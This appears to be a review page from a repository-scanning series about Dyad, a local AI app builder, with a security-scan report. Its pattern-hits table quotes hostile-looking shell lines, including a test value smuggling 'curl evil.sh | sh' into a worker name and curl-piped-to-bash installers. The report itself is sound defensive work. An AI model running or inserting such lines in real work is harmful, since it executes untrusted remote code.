Dyad is a desktop app for building web apps by describing them, in the manner of Lovable, v0, Bolt or Replit. You chat about what you want, it writes the code, runs it and shows a live preview, and you keep iterating by prompting or by editing the code yourself. The difference is where things live: the project is an ordinary folder of code on your disk, the app runs on your machine, and there is no sign-up.
It brings no model of its own. You plug in your own keys for OpenAI, Anthropic, Google and other providers, or a local model through Ollama or LM Studio, and can switch at any time. Supabase or Neon can be connected for a database, migrations and authentication, and it supports MCP tools with a consent step before they run.
Dyad has about 21,700 stars, builds for macOS, Windows and Linux, and a community at r/dyadbuilders. Most of the code is Apache-2.0; the src/pro folder is under the Functional Source License, which is why GitHub shows the licence as unrecognised. Dyad Pro, at $20 a month or $79 for a larger tier, adds Pro agent modes for larger codebases and monthly AI credits so you do not need your own keys.
- Repository: github.com/dyad-sh/dyad
- Licence: custom (Other)
- Language: TypeScript. Stars: 21.6K. Forks: 2,662. Last push: Oct 1, 2026.
- Scan: safe, Oct 1, 2026, commit 49ec81c
Who it is for
Non-developers and designers who want to build working apps by prompting without a monthly subscription, and developers who like the Lovable workflow but want the code on their own disk and a free choice of model.
Getting started
1. macOS, with Homebrew
brew install --cask dyad2. Windows and Linux: get the installer from dyad.sh or the releases page (Debian and Ubuntu shown)
sudo apt install ./dyad_*_amd64.deb3. Open Dyad, add an API key or a local Ollama model in Settings, and describe the app you want
Build a habit tracker with a calendar view and a streak counterDyad needs no account; prompts go to whichever provider you configure and are billed by them. Local models through Ollama cost nothing, but small ones struggle with whole apps, so a capable cloud model gives better results on anything complex.
Safety scan
We cloned dyad-sh/dyad at commit 49ec81c on Oct 1, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- The 8 secret candidates are test fixtures and key formats: fake Slack and AWS keys and PEM headers in tests for the error sanitiser, which strips secrets from GitHub errors, and in coolify_deploy_key.ts the OpenSSH header the app writes around a deploy key it generates for you. All 55 bare-IP URLs are tests, 52 of them the reserved documentation address 203.0.113.5.
- Four of the five pattern hits are tests and a comment. The fifth, src/coolify_setup/install.ts line 217, pipes Coolify's documented installer to bash on a server you connect over SSH, with admin credentials passed on stdin rather than the command line. It runs only when you use Deploy to Coolify.
- The npm install hook builds native/keychain-reader, a small macOS addon that reads Dyad's own dyad Safe Storage Keychain item, or Chromium's, to recover settings encrypted under the wrong key after an Electron upgrade. Telemetry goes to PostHog, but before_send drops every event unless you opted in, the setting starts unset, and the IP address is removed.
- 423 known advisories (18 critical, 211 high) across 16 lockfiles, most in benchmarks, test fixtures and the component-tagger packages. The root package-lock.json (288, 9 critical) includes Next.js only as an optional peer of the Geist font package, so no Next server runs, and tar and Happy DOM are dev tooling. scaffold/pnpm-lock.yaml (59, no criticals) is the template new apps start from, so run npm audit in projects you plan to deploy.
- 20 workflows. Three use pull_request_target: the CLA assistant, and Claude and Codex review jobs that check out the base commit rather than the pull request, run only for an allow-list of maintainers, and give the agents read-only tools. All 10 third-party actions are pinned to commits. Security policy, Dependabot, licence and contributing guide present; no CodeQL.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 8 candidates found and read; see the notes above. |
| Suspicious code | 5 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 1 npm lifecycle script. 6 installer scripts |
| Committed binaries | None. |
| CI workflows | 20 workflows. 3 use pull_request_target, none check out the pull request head. 0 of 10 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often github.com, academy.dyad.sh, app-42.localhost, www.dyad.sh. 55 URLs to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 423 advisories across 2,393 pinned packages: 18 critical, 211 high, 159 moderate, 35 low. benchmarks/app-builder/cuj-tests/package-lock.json: 18 packages, 0 advisories; benchmarks/app-builder/neon-sim/package-lock.json: 59 packages, 22 advisories; benchmarks/app-builder/template/nextjs/pnpm-lock.yaml: 360 packages, 59 advisories; e2e-tests/fixtures/import-app/astro/pnpm-lock.yaml: 84 packages, 17 advisories; e2e-tests/fixtures/import-app/minimal-with-ai-rules/pnpm-lock.yaml: 84 packages, 17 advisories; e2e-tests/fixtures/import-app/minimal/pnpm-lock.yaml: 92 packages, 9 advisories; e2e-tests/fixtures/import-app/next15-build/pnpm-lock.yaml: 51 packages, 8 advisories; e2e-tests/fixtures/import-app/next16-build/pnpm-lock.yaml: 54 packages, 4 advisories; e2e-tests/fixtures/import-app/recorder/pnpm-lock.yaml: 92 packages, 9 advisories; e2e-tests/fixtures/import-app/select-component/pnpm-lock.yaml: 140 packages, 35 advisories; e2e-tests/fixtures/import-app/version-integrity/pnpm-lock.yaml: 84 packages, 17 advisories; package-lock.json: 1,776 packages, 288 advisories; packages/@dyad-sh/nextjs-webpack-component-tagger/package-lock.json: 296 packages, 48 advisories; packages/@dyad-sh/react-vite-component-tagger/package-lock.json: 258 packages, 48 advisories; scaffold/pnpm-lock.yaml: 442 packages, 59 advisories; testing/fake-llm-server/package-lock.json: 162 packages, 20 advisories. |
| Project hygiene | Has security policy, automated dependency updates, licence file, contributing guide. Missing CodeQL. |
| OpenSSF Scorecard | Not scored: the project is not in Scorecard's weekly index. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (8, redacted)
| Where | Rule | Match |
|---|---|---|
| src/coolify_setup/server_key.test.ts:28 | private-key | -----B…--- (35 chars) |
| src/ipc/services/github_ops_safe_error.test.ts:58 | slack-token | xoxb-1…ret (22 chars) |
| src/ipc/services/github_ops_safe_error.test.ts:59 | aws-access-key | AKIAAB…NOP (20 chars) |
| src/ipc/services/github_ops_safe_error.test.ts:240 | private-key | -----B…--- (35 chars) |
| src/ipc/services/github_ops_safe_error.test.ts:266 | private-key | -----B…--- (27 chars) |
| src/ipc/utils/coolify_deploy_key.test.ts:214 | private-key | -----B…--- (35 chars) |
| src/ipc/utils/coolify_deploy_key.test.ts:240 | private-key | -----B…--- (35 chars) |
| src/ipc/utils/coolify_deploy_key.ts:185 | private-key | -----B…--- (35 chars) |
Pattern hits (5)
| Where | Rule | Match |
|---|---|---|
| .claude/hooks/tests/test_permission_request_hook.py:149 | download-piped-to-shell (test/example) | """Policy should mention curl | sh as dangerous.""" |
| .claude/hooks/tests/test_permission_request_hook.py:151 | download-piped-to-shell (test/example) | assert "curl | sh" in policy_content or "curl | bash" in policy_content |
| scripts/symbolicate-dump.mjs:23 | download-piped-to-shell | // curl -LsSf https://github.com/rust-minidump/rust-minidump/releases/latest/download/minidump-stackwalk-installer.sh | sh |
| src/cloudflare_deploy/build_config.test.ts:140 | download-piped-to-shell | buildDeployRule({ ...base, workerName: "x; curl evil.sh | sh" }), |
| src/coolify_setup/install.ts:217 | download-piped-to-shell | 'curl -fsSL "$1" | bash', |
URLs to bare IP addresses (55)
| Where | Rule | Match |
|---|---|---|
| src/components/CoolifyConnector.test.tsx:328 | ip-literal-url | status: { ...NO_TOKEN.status, serverUrl: "http://203.0.113.5:8000" }, |
| src/components/CoolifyConnector.test.tsx:368 | ip-literal-url | expect(field.value).toBe("http://203.0.113.5:8000"); |
| src/components/CoolifyConnector.test.tsx:585 | ip-literal-url | "http://203.0.113.5:8000", |
| src/components/CoolifyConnector.test.tsx:724 | ip-literal-url | dashboardUrl: "http://203.0.113.5:8000", |
| src/components/CoolifyConnector.test.tsx:739 | ip-literal-url | instanceUrl: "http://203.0.113.5:8000", |
| src/components/CoolifyCredentials.test.tsx:193 | ip-literal-url | url: "http://203.0.113.5:8000", |
| src/components/CoolifyCredentials.test.tsx:211 | ip-literal-url | instance: { url: "http://203.0.113.5:8000", apiToken: "1|abc" }, |
| src/components/CoolifyCredentials.test.tsx:213 | ip-literal-url | url: "http://203.0.113.5:8000", |
| src/components/CoolifyCredentials.test.tsx:239 | ip-literal-url | url: "http://203.0.113.5:8000", |
| src/components/CoolifyCredentials.test.tsx:253 | ip-literal-url | expect(forServer.textContent).toContain("http://203.0.113.5:8000"); |
| src/components/CoolifyServerSetup.test.tsx:576 | ip-literal-url | renderPanel(vi.fn(), { heldServerUrl: "http://203.0.113.5:8000" }); |
| src/coolify_setup/https_setup.test.ts:123 | ip-literal-url | expect(plainUrlFor("203.0.113.5")).toBe("http://203.0.113.5:8000"); |
| src/coolify_setup/https_setup.test.ts:384 | ip-literal-url | expect(result.instanceUrl).toBe("http://203.0.113.5:8000"); |
| src/coolify_setup/https_setup.test.ts:692 | ip-literal-url | expect(result.instanceUrl).toBe("http://203.0.113.5:8000"); |
| src/coolify_setup/https_setup.test.ts:866 | ip-literal-url | expect(outcome.instanceUrl).toBe("http://203.0.113.5:8000"); |
| src/coolify_setup/https_setup.test.ts:884 | ip-literal-url | expect(outcome.instanceUrl).toBe("http://203.0.113.5:8000"); |
| src/coolify_setup/setup_flow.test.ts:352 | ip-literal-url | expect(result.dashboardUrl).toBe("http://203.0.113.5:8000"); |
| src/coolify_setup/setup_flow.test.ts:533 | ip-literal-url | expect(seen[0].dashboardUrl).toBe("http://203.0.113.5:8000"); |
| src/coolify_setup/setup_flow.test.ts:547 | ip-literal-url | "http://203.0.113.5:8000", |
| src/coolify_setup/setup_flow.test.ts:613 | ip-literal-url | expect(result.dashboardUrl).toBe("http://203.0.113.5:8000"); |
| src/hooks/useCoolifySetupSnapshot.test.tsx:79 | ip-literal-url | return Promise.resolve({ serverUrl: "http://203.0.113.5:8000" }); |
| src/ipc/handlers/coolify_handlers.test.ts:237 | ip-literal-url | instanceUrl: "http://203.0.113.5:8000", |
| src/ipc/handlers/coolify_handlers.test.ts:242 | ip-literal-url | expect(status.serverUrl).toBe("http://203.0.113.5:8000"); |
| src/ipc/handlers/coolify_setup_handlers.test.ts:156 | ip-literal-url | dashboardUrl: "http://203.0.113.5:8000", |
| and 31 more | ||
npm lifecycle scripts (1)
native/keychain-reader/package.jsoninstall:node-gyp rebuild
Installer scripts (6)
- .claude/run-e2e-update.sh, 6 lines
- .claude/skills/run-benchmark/scripts/run-arm.sh, 77 lines
- scripts/codex-commit-review/run-codex.sh, 25 lines
- testing/run-fake-http-mcp-server.sh, 12 lines
- testing/run-fake-oauth-mcp-server.sh, 12 lines
- testing/run-fake-stdio-mcp-server.sh, 13 lines
Worst known vulnerabilities (24 of 423)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-pw9m-5jxm-xr6h | critical | better-auth@1.4.18 | Better Auth: OAuth refresh-token replay via missing client authentication on oidc-provider and mcp plugins |
| GHSA-2xp9-vwfh-vxw4 | critical | next@15.5.18 | Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used |
| GHSA-p293-qw3h-jr36 | critical | next@15.5.18 | Next.js: Unauthenticated Remote Code Execution on windows-hosted servers |
| GHSA-2xp9-vwfh-vxw4 | critical | next@15.5.23 | Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used |
| GHSA-p293-qw3h-jr36 | critical | next@15.5.23 | Next.js: Unauthenticated Remote Code Execution on windows-hosted servers |
| GHSA-2xp9-vwfh-vxw4 | critical | next@16.3.1 | Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used |
| GHSA-p293-qw3h-jr36 | critical | next@16.3.1 | Next.js: Unauthenticated Remote Code Execution on windows-hosted servers |
| GHSA-vcvr-r3jv-pc5j | critical | next@16.3.1 | Next.js: Remote Code Execution in next/og ImageResponse |
| GHSA-23hp-3jrh-7fpw | critical | tar@7.4.3 | node-tar: Decompression/parse DoS via unlimited input |
| GHSA-37j7-fg3j-429f | critical | happy-dom@17.6.3 | Happy DOM: VM Context Escape can lead to Remote Code Execution |
| GHSA-2xp9-vwfh-vxw4 | critical | next@15.5.2 | Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used |
| GHSA-9qr9-h5gf-34mp | critical | next@15.5.2 | Next.js is vulnerable to RCE in React flight protocol |
| GHSA-p293-qw3h-jr36 | critical | next@15.5.2 | Next.js: Unauthenticated Remote Code Execution on windows-hosted servers |
| GHSA-mv8w-475r-vwqw | critical | seroval@1.3.2 | seroval: `seroval.fromJSON()` Promise resolver type confusion invokes attacker-controlled methods during deserialization |
| GHSA-w7jw-789q-3m8p | critical | shell-quote@1.8.3 | shell-quote quote() does not escape newlines in object .op values |
| GHSA-23hp-3jrh-7fpw | critical | tar@6.2.1 | node-tar: Decompression/parse DoS via unlimited input |
| GHSA-5xrq-8626-4rwp | critical | vitest@3.2.4 | When Vitest UI server is listening, arbitrary file can be read and executed |
| GHSA-cf4h-3jhx-xvhq | critical | underscore@1.4.4 | Arbitrary Code Execution in underscore |
| GHSA-3pq3-5fj3-cg6v | high | axios@1.18.1 | Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls |
| GHSA-542g-h47m-68v8 | high | axios@1.18.1 | Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization |
| GHSA-c29m-xwm3-cm6r | high | axios@1.18.1 | Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS) |
| GHSA-m8m8-qj5v-23w3 | high | axios@1.18.1 | Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection |
| GHSA-mghh-pgcx-3jjj | high | axios@1.18.1 | Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location |
| GHSA-r4gj-5m52-g5wh | high | axios@1.18.1 | Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF |
Workflows worth a look
- .github/workflows/cla.yml: pull_request_target
- .github/workflows/claude-pr-review.yml: pull_request_target
- .github/workflows/codex-pr-review.yml: pull_request_target
By the numbers
| Stars | 21.6K |
|---|---|
| Forks | 2,662 |
| Contributors | 35 |
| Commits | 2,120 |
| Open issues | 292 |
| Open pull requests | 17 |
| Releases | 145 |
| Latest release | v1.17.0 |
| Licence | custom |
| Main language | TypeScript |
| Project age | 1 year |
| Last push | Oct 1, 2026 |
| Tracked files | 3,775 |
| Lines of code | 813K |
| Checkout size | 36 MB |
Lines by language: TypeScript 648.8K, JSON 77.2K, Markdown 53.1K, JavaScript 22.3K, YAML 3,952, Shell 2,577.
Questions
Is Dyad free?
Yes. Dyad Free is open source, Apache-2.0 apart from the FSL-licensed Pro code, with no sign-up and no project limits; you pay your own model provider, or nothing with local models. Dyad Pro costs $20 a month for Pro modes and 200 AI credits, and a $79 tier includes 900 credits.
How is Dyad different from Lovable or Bolt?
Lovable, Bolt and v0 run in the browser on the vendor's servers, bill by subscription or credits, and host your project. Dyad runs on your computer, keeps the project as a normal folder of code you can open in any editor, and uses whichever model you choose, including local ones.
Can Dyad use local models?
Yes, through Ollama or LM Studio, which makes it free to run and keeps prompts on your machine. Building whole apps is demanding, so larger local models or a cloud model from OpenAI, Anthropic or Google give noticeably better results on anything complex.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.
